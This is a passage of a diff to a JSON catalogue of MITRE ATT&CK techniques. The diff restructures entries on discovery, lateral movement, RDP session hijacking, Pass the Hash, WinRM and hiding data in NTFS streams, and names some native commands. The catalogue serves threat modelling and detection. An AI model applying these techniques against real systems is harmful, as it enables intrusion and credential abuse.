"Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1024", + "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf", + "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "value": "Custom Cryptographic Protocol - T1024" + }, + { + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n### Windows\n\nExample commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.\n\n### Mac\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.", + "meta": { + "external_id": "CAPEC-311", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1082", + "https://capec.mitre.org/data/definitions/311.html" + ] + }, + "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "value": "System Information Discovery - T1082" + }, + { + "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", + "meta": { + "external_id": "T1028", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1028", + "http://msdn.microsoft.com/en-us/library/aa384426", + "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + ] + }, + "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", + "value": "Windows Remote Management - T1028" + }, + { + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", + "meta": { + "external_id": "T1043", + "kill_chain": [ + "mitre-attack:command-and-control" + ], "mitre_data_sources": [ "Packet capture", "Netflow/Enclave netflow", @@ -1545,357 +4815,356 @@ "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1043", + "https://attack.mitre.org/techniques/T1043", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e" + ] }, - "value": "Commonly Used Port" + "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "value": "Commonly Used Port - T1043" }, { - "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to [[Command and Control]] and possible network [[Discovery]] techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring", + "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)", "meta": { + "external_id": "T1305", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1305" + ] + }, + "uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f", + "value": "Private whois services - T1305" + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", + "meta": { + "external_id": "T1063", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1080" - ], - "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c" - }, - "value": "Taint Shared Content" - }, - { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1120" - ], - "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643" - }, - "value": "Peripheral Device Discovery" - }, - { - "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "API monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1069" - ], - "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce" + "https://attack.mitre.org/techniques/T1063" + ] }, - "value": "Permission Groups Discovery" + "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "value": "Security Software Discovery - T1063" }, { - "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[[Citation: TechNet Netsh]] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another [[Persistence]] technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe.[[Citation: Demaske Netsh Persistence]]\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.[[Citation: Github Netsh Helper CS Beacon]]\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.[[Citation: Demaske Netsh Persistence]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nContributors: Matthew Demaske, Adaptforward", + "description": "An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)", "meta": { - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Process monitoring" + "external_id": "T1360", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1360" + ] + }, + "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81", + "value": "Test physical access - T1360" + }, + { + "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.", + "meta": { + "external_id": "APP-26", + "kill_chain": [ + "mitre-mobile-attack:privilege-escalation" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1128", - "https://technet.microsoft.com/library/bb490939.aspx", - "https://github.com/outflankbv/NetshHelperBeacon", - "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" - ], - "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" + "https://attack.mitre.org/techniques/T1404", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" + ] }, - "value": "Netsh Helper DLL" + "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "value": "Exploit OS Vulnerability - T1404" }, { - "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values.[[Citation: TechNet Autoruns]] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows XP, Windows Server 2003 R2\n\nData Sources: Windows Registry, File monitoring, Process monitoring", + "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).", "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:credential-access", + "mitre-mobile-attack:privilege-escalation" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows XP", - "Windows Server 2003 R2" + "Android" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1004", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79" + "https://attack.mitre.org/techniques/T1405", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://usmile.at/symposium/program/2015/thomas-holmes", + "https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html", + "https://usmile.at/symposium/program/2015/ekberg", + "http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html" + ] }, - "value": "Winlogon Helper DLL" + "uuid": "ef771e03-e080-43b4-a619-ac6f84899884", + "value": "Exploit TEE Vulnerability - T1405" }, { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.", "meta": { + "external_id": "T1046", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1082" - ], - "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1" - }, - "value": "System Information Discovery" - }, - { - "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol.Net can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network", - "meta": { - "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", + "Netflow/Enclave netflow", "Network protocol analysis", + "Packet capture", + "Process command-line parameters", "Process use of network" ], "mitre_platforms": [ - "Windows 10", - "Windows 7", - "Windows 8", - "Windows 8.1", - "Windows Server 2012", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Server 2003", - "Windows Server 2008", - "Windows XP", - "Windows Server 2003 R2", - "Windows Vista", - "MacOS", - "OS X" + "Linux", + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1135", - "https://en.wikipedia.org/wiki/Shared%20resource", - "https://technet.microsoft.com/library/cc770880.aspx" - ], - "uuid": "68cc93f6-58ca-413b-92ae-2d0a65ed6e52" + "https://attack.mitre.org/techniques/T1046" + ] }, - "value": "Network Share Discovery" + "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "value": "Network Service Scanning - T1046" }, { - "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Accessibility Features technique for [[Persistence]].[[Citation: Alperovitch Malware]]\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring", + "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)", "meta": { + "external_id": "T1047", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1047", + "https://msdn.microsoft.com/en-us/library/aa394582.aspx", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", + "https://en.wikipedia.org/wiki/Server_Message_Block", + "https://technet.microsoft.com/en-us/library/cc787851.aspx" + ] + }, + "uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "value": "Windows Management Instrumentation - T1047" + }, + { + "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", + "meta": { + "external_id": "T1065", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1065", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "value": "Uncommonly Used Port - T1065" + }, + { + "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", + "meta": { + "external_id": "T1075", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1075", + "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + ] + }, + "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "value": "Pass the Hash - T1075" + }, + { + "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", + "meta": { + "external_id": "CAPEC-555", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], "mitre_data_sources": [ "Authentication logs", "Netflow/Enclave netflow", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1076", + "https://attack.mitre.org/techniques/T1076", + "https://capec.mitre.org/data/definitions/555.html", + "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", - "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" - ], - "uuid": "51dea151-0898-4a45-967c-3ebee0420484" + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/nccgroup/redsnarf" + ] }, - "value": "Remote Desktop Protocol" + "uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "value": "Remote Desktop Protocol - T1076" }, { - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters", + "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "meta": { - "mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Process command-line parameters" + "external_id": "T1096", + "kill_chain": [ + "mitre-attack:defense-evasion" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1018" - ], - "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735" - }, - "value": "Remote System Discovery" - }, - { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { "mitre_data_sources": [ "File monitoring", - "Process monitoring", + "Kernel drivers", + "API monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1063" - ], - "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7" + "https://attack.mitre.org/techniques/T1096", + "http://msdn.microsoft.com/en-us/library/aa364404", + "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", + "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", + "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", + "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", + "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", + "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", + "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/", + "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/" + ] }, - "value": "Security Software Discovery" + "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "value": "NTFS File Attributes - T1096" }, { - "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters", + "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are net group /domain and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n### Linux\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.", "meta": { + "external_id": "CAPEC-576", + "kill_chain": [ + 